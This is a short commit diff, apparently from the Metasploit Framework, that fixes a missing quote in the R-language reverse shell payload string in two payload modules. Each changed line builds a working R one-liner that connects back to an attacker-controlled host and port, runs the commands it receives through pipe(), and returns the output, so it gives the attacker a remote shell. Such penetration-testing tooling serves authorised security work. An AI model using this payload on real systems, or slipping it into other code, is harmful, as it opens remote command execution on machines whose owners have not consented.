add missing quotes

Author: Brent Cook

modules/payloads/singles/cmd/unix/reverse_r.rb

@@ -42,7 +42,7 @@ def prepends(r_string)
   def r_string
     lhost = datastore['LHOST']
     lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
-    return "s<-socketConnection(host='#{lhost},port=#{datastore['LPORT']}," +
+    return "s<-socketConnection(host='#{lhost}',port=#{datastore['LPORT']}," +
     "blocking=TRUE,server=FALSE,open='r+');while(TRUE){writeLines(readLines" +
     "(pipe(readLines(s, 1))),s)}"
   end

modules/payloads/singles/r/shell_reverse_tcp.rb

@@ -38,7 +38,7 @@ def generate
   def r_string
     lhost = datastore['LHOST']
     lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
-    return "s<-socketConnection(host='#{lhost},port=#{datastore['LPORT']}," +
+    return "s<-socketConnection(host='#{lhost}',port=#{datastore['LPORT']}," +
     "blocking=TRUE,server=FALSE,open='r+');while(TRUE){writeLines(readLines" +
     "(pipe(readLines(s, 1))),s)}"
   end